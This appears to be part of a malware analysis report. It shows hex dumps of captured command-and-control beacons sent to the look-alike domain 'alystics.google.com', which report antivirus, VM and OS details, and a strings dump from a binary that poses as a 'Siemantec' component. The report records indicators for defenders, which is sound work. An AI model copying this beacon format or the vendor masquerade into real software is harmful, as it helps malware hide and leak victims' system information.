0x00000040 (00064)   763d3026 766d3d30 26616c3d 3026703d   v=0&vm=0&al=0&p=
0x00000050 (00080)   37343426 6f733d35 2e312e32 3630302e   744&os=5.1.2600.
0x00000060 (00096)   33267a3d 34353826 68617368 3d437643   3&z=458&hash=CvC
0x00000070 (00112)   6e426a56 6a38494f 4d333341 394c664f   nBjVj8IOM33A9LfO
0x00000080 (00128)   4764426b 6e6a7939 61577a41 4a464538   GdBknjy9aWzAJFE8
0x00000090 (00144)   4a783772 48745554 37765a36 317a6757   Jx7rHtUT7vZ61zgW
0x000000a0 (00160)   79673533 5a734767 7a544536 484a665a   yg53ZsGgzTE6HJfZ
0x000000b0 (00176)   6a634b7a 475a4738 325a7468 4a476652   jcKzGZG82ZthJGfR
0x000000c0 (00192)   784a785a 50426b65 3135376d 66204854   xJxZPBke157mf HT
0x000000d0 (00208)   54502f31 2e310d0a 486f7374 3a20616e   TP/1.1..Host: an
0x000000e0 (00224)   616c7973 74696373 2e676f6f 676c652e   alystics.google.
0x000000f0 (00240)   636f6d0d 0a0d0a                       com....

0x00000000 (00000)   47455420 2f706870 62622f67 65742e70   GET /phpbb/get.p
0x00000010 (00016)   68703f69 643d4330 35393930 30414541   hp?id=C059900AEA
0x00000020 (00032)   37354530 36465858 58585858 58585858   75E06FXXXXXXXXXX
0x00000030 (00048)   58583030 3030266b 65793d34 34382661   XX0000&key=448&a
0x00000040 (00064)   763d3026 766d3d30 26616c3d 3026703d   v=0&vm=0&al=0&p=
0x00000050 (00080)   37343426 6f733d35 2e312e32 3630302e   744&os=5.1.2600.
0x00000060 (00096)   33267a3d 34353826 68617368 3d437643   3&z=458&hash=CvC
0x00000070 (00112)   6e426a56 6a38494f 4d333341 394c664f   nBjVj8IOM33A9LfO
0x00000080 (00128)   4764426b 6e6a7939 61577a41 4a464538   GdBknjy9aWzAJFE8
0x00000090 (00144)   4a783772 48745554 37765a36 317a6757   Jx7rHtUT7vZ61zgW
0x000000a0 (00160)   79673533 5a734767 7a544536 484a665a   yg53ZsGgzTE6HJfZ
0x000000b0 (00176)   6a634b7a 475a4738 325a7468 4a476652   jcKzGZG82ZthJGfR
0x000000c0 (00192)   784a376a 35384d74 3970554b 64204854   xJ7j58Mt9pUKd HT
0x000000d0 (00208)   54502f31 2e310d0a 486f7374 3a20616e   TP/1.1..Host: an
0x000000e0 (00224)   616c7973 74696373 2e676f6f 676c652e   alystics.google.
0x000000f0 (00240)   636f6d0d 0a0d0a                       com....

0x00000000 (00000)   47455420 2f706870 62622f67 65742e70   GET /phpbb/get.p
0x00000010 (00016)   68703f69 643d4330 35393930 30414541   hp?id=C059900AEA
0x00000020 (00032)   37354530 36465858 58585858 58585858   75E06FXXXXXXXXXX
0x00000030 (00048)   58583030 3030266b 65793d34 34382661   XX0000&key=448&a
0x00000040 (00064)   763d3026 766d3d30 26616c3d 3026703d   v=0&vm=0&al=0&p=
0x00000050 (00080)   37343426 6f733d35 2e312e32 3630302e   744&os=5.1.2600.
0x00000060 (00096)   33267a3d 34353826 68617368 3d437643   3&z=458&hash=CvC
0x00000070 (00112)   6e426a56 6a38494f 4d333341 394c664f   nBjVj8IOM33A9LfO
0x00000080 (00128)   4764426b 6e6a7939 61577a41 4a464538   GdBknjy9aWzAJFE8
0x00000090 (00144)   4a783772 48745554 37765a36 317a6757   Jx7rHtUT7vZ61zgW
0x000000a0 (00160)   79673533 5a734767 7a544536 484a665a   yg53ZsGgzTE6HJfZ
0x000000b0 (00176)   6a634b7a 475a4738 325a7468 4a476652   jcKzGZG82ZthJGfR
0x000000c0 (00192)   784a2f73 62694e33 59662f70 6c204854   xJ/sbiN3Yf/pl HT
0x000000d0 (00208)   54502f31 2e310d0a 486f7374 3a20616e   TP/1.1..Host: an
0x000000e0 (00224)   616c7973 74696373 2e676f6f 676c652e   alystics.google.
0x000000f0 (00240)   636f6d0d 0a0d0a                       com....


Strings
P.rsrcVttceuritorla
\
.CC
 
h.

041904E3
15.5.0.7
 2012 Siemantec Corporation. All rights reserved.
7-Zip
Add WinRAR to &Desktop
Add WinRAR to &Start Menu
Associate WinRAR with
BDF_ICON
BITMAP1
BSSCODE
Cascaded con&text menus
CompanyName
&Context menu items...
Copyright 
Create WinRAR &program group
FileDescription
FileVersion
GZip
                                 H
         (((((                  H
         h((((                  H
Ico&ns in context menus
&Integrate WinRAR into shell
Integration
Interface
InternalName
KERNEL32.DLL
LegalCopyright
mscoree.dll
MS Shell Dlg
MS Shell Dlg 2
Navwnt
Navwnt.exe
OriginalFilename
ProductName
ProductVersion
&RAR
RT_ICON
Select &all
Shell integration
Siemantec Corporation
Siemantec Shared Component
StringFileInfo
Translation
&User defined archive extensions
VarFileInfo
VS_VERSION_INFO
&ZIP
<<<<<<<
                          
;;;;???
{{{{{{{
\$[[[,
 !"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~
0A@@Ju
0}g:G5
0SSSSS
1o%[fO 
2%;"1-
]2222"
222244#
2{-d0sgc[
3F/SR^
4A=_qn~
*	5]=(
555555OO
55555OOOO
5?O)F+F
6~4e;~
&"6[-D
6hS.@.{Y
6n\Ft\w
6p{PO&
:6}t|?W	
7~*67~#
}{7aOy
7~nC7~
8SOFTu
>9/'3T
	'9f5?
 9/tn:5
A{5J!d
abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ
acccc0UU0_
/AFHLly]N
AI;@)Z
An application has made an attempt to load the C runtime library incorrectly.
_A pb}
- Attempt to initialize the CRT more than once.
- Attempt to use MSIL code from this assembly during native code initialization
August
aW}c{&n
Blf!Uf$;zqM
c15/Ga
C{5x#d
`)@#Ca
ccHl=w"
CMMMb"d:
CoInitialize
CorExitProcess
CoTaskMemAlloc
- CRT not initialized
_CzA4q>
C"zrIVN
D{5R$d
!d8Y8INz
@.data
dddd, MMMM dd, yyyy
December
DecodePointer
DeleteCriticalSection
DISCLAIMER OF WARRANTY. THE SOFTWARE, AND ANY SERVICES THAT YOU RECEIVE FROM WHOLE TOMATO ARE PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND. WHOLE TOMATO HEREBY DISCLAIMS ALL EXPRESS OR IMPLIED WARRANTIES, INCLUDING WITHOUT LIMITATION WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS AGREEMENT. SOME STATES DO NOT ALLOW EXCLUSIONS OF AN IMPLIED WARRANTY, SO THIS DISCLAIMER MAY NOT APPLY TO YOU AND YOU MAY HAVE OTHER LEGAL RIGHTS THAT VARY FROM STATE TO STATE OR BY JURISDICTION. 
DOMAIN error
D`TZ0W
(E)\#>
eB$s)(Ivuj
#EFO<]akA
EncodePointer
EnterCriticalSection
eq7yq#
,Erk$<
-|*]eSS
ExitProcess
EXPORT CONTROLS. You shall comply with all export laws and restrictions and regulations of the Department of Commerce, the United States Department of Treasury Office of Foreign Assets Control ("OFAC"), or other United States or foreign agency or authority, and not to export, or allow the export or re-export of the Software in violation of any such restrictions, laws or regulations (including, without limitation, export or re-export to destinations prohibited either in Country Groups Q, S, W, Y or Z country specified in the then current Supplement No. 1 to Section 770 of the U.S. Export Administration Regulations (or any successor supplement or regulations), or the OFAC regulations found at 31 C.F.R. 500 et seq.). By installing or using the Software, you are agreeing to the foregoing and you are representing and warranting that you are not located in, under the control of, or a national or resident of any restricted country or on any such list. 
February
FF1[$?g
- floating point support not loaded
FlsAlloc
FlsFree
FlsGetValue
FlsSetValue
FreeEnvironmentStringsA
FreeEnvironmentStringsW
Friday
((^^F-w
GetACP
GetActiveWindow
GetCommandLineA
GetCPInfo
GetCurrentProcess
GetCurrentProcessId
GetCurrentThreadId
GetEnvironmentStrings
GetEnvironmentStringsW
GetFileType
GetLastActivePopup
GetLastError
GetLocaleInfoA
GetModuleFileNameA
GetModuleHandleA
GetModuleHandleW
GetOEMCP
GetProcAddress
GetProcessWindowStation
GetStartupInfoA
GetStdHandle
GetStringTypeA
GetStringTypeW
GetSystemTimeAsFileTime
GetTickCount
GetUserDefaultLangID
GetUserObjectInformationA
GetVersion
gRRRRRR====
{hA|wW?
HeapAlloc
HeapCreate
HeapFree
HeapReAlloc
HeapSize
'HH~>E
HH:mm:ss
h\I	U:
&i1\sX
(<*IkH
InitializeCriticalSectionAndSpinCount
InterlockedDecrement
InterlockedIncrement
:=iPEe
IsDebuggerPresent
IsValidCodePage
j9R+B8n
JanFebMarAprMayJunJulAugSepOctNovDec
January
:jexZu
=jh7N5
=jh/I5
JJhh-QA222e2
jjjjjjj
jjjjjjjjjW
jjjjjW
:&JJ	q
j@j ^V
J=O6(s
~J(sC(
jWl;`u
\Ka#a_
kernel32.dll
KERNEL32.dll
KEuG$\-
KKKKKK
'=L>3W
l"'9Zt
Last modified: May
l|Bk=&o
LCMapStringA
LCMapStringW
LeaveCriticalSection
LIMITATION OF LIABILITY. You assume the entire risk as to the quality and performance of the Software. Whole Tomato assumes no liability for the cost of any service or repair if the Software is defective 
LJ2b<g
LoadLibraryA
%,M|4C
M`8KKj
MBf,9I
MessageBoxA
_M\FrU
Microsoft Visual C++ Runtime Library
MM/dd/yy
Monday
m?SU"$
MultiByteToWideChar
n6|q@@@00
	nmY"@
- not enough space for arguments
- not enough space for environment
- not enough space for locale information
- not enough space for lowio initialization
- not enough space for _onexit/atexit table
- not enough space for stdio initialization
- not enough space for thread data
November
ntdll.dll
N|Zzu3
ocP:(*sk
October
oftware). 
ole32.dll
oo````GGGG2
~oooooo`o``
-OrJ{bu#
.OrJyj
o>Ta3z
o-XQPbiz
&?P*\;
P'c){:
P}ilr{
Please contact the application's support team for more information.
p|L"keUg
PPPPPPPP
Program: 
<program name unknown>
- pure virtual function call
QBY[dC
;qg&Px4
QueryPerformanceCounter
qUiS75
`r8.^q&V\
`.rdata
RF=8FUBM
[[//rr
RR11)j
RtlUnwind
runtime error 
Runtime Error!
s7~ls7~
s)~8rr>
Saturday
September
SetHandleCount
SetLastError
SetUnhandledExceptionFilter
SING error
SN!^;1
SOFTWARE LICENSE AGREEMENT
strcat
Sunday
SunMonTueWedThuFriSat
s\w5"X
T$$$CCC
-Tczx0
tehU)@
TerminateProcess
TERMINATION. Whole Tomato may, at its sole discretion, terminate this Agreement, the license granted herein, and your right to use or access the Software at any time. On termination, you must destroy all copies of the Software. 
This application has requested the Runtime to terminate it in an unusual way.
This indicates a bug in your application.
This indicates a bug in your application. It is most likely the result of calling an MSIL-compiled (/clr) function from a native constructor or from DllMain.
!This program cannot be run in DOS mode.
Thursday
T:_]J 
< tK<	tG
TLOSS error
TlsAlloc
TlsFree
TlsGetValue
TlsSetValue
t"SS9]
tttttt
t$<"u	3
Tuesday
;t$,v-
t+WWVPV
U3ZA:k%
uBhN&@
UJ@IQ%TC=
==	-u#KX[QN
}um|;\Q
- unable to initialize heap
- unable to open console device
UNDER NO CIRCUMSTANCES AND UNDER NO LEGAL THEORY, TORT, CONTRACT, STRICT LIABILITY, OR OTHERWISE, SHALL WHOLE TOMATO OR ITS LICENSORS, SUPPLIERS OR RESELLERS BE LIABLE TO YOU OR ANY OTHER PERSON FOR ANY INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES OF ANY CHARACTER INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOST PROFITS, LOSS OF GOODWILL, WORK STOPPAGE, COMPUTER FAILURE OR MALFUNCTION, OR ANY AND ALL OTHER COMMERCIAL DAMAGES OR LOSSES. IN NO EVENT WILL WHOLE TOMATO BE LIABLE FOR ANY DAMAGES IN EXCESS OF WHOLE TOMATO'S LIST PRICE FOR A LICENSE TO THE SOFTWARE, EVEN IF WHOLE TOMATO SHALL HAVE BEEN INFORMED OF THE POSSIBILITY OF SUCH DAMAGES, OR FOR ANY CLAIM BY ANY OTHER PARTY. THIS LIMITATION OF LIABILITY SHALL NOT APPLY TO LIABILITY FOR DEATH OR PERSONAL INJURY TO THE EXTENT APPLICABLE LAW PROHIBITS SUCH LIMITATION. FURTHERMORE, SOME STATES DO NOT ALLOW THE EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THIS LIMITATION AND EXCLUSION MAY NOT APPLY TO YOU. 
- unexpected heap error
- unexpected multithread lock error
UnhandledExceptionFilter
UQPXY]Y[
URPQQh
USER32.DLL
uuuuuuu
_+vc{ab&E
VI>e7qk
VirtualAlloc
VirtualFree
vJH+xQt
v	N+D$
Wednesday
WideCharToMultiByte
wj5=VR
Wjjjjj
Wjjjjjjjjj
WriteFile
Wto;l-
x7tgc_(
\-~({x<h
xIKuhA
x*jX:4
X	Lfng
xlteKw
xl\-(uQ
x+~SRx.
xttfffW%
xxxxRxxRRRttg
Y2ZC[8
Ycv9	<
yO]MwO
yq-	Z^
>=Yt1j
(YW0]+
z1Rich9
;z{5tr
&%:zhZ
zp	en#
Zp&p$C
*zuhJe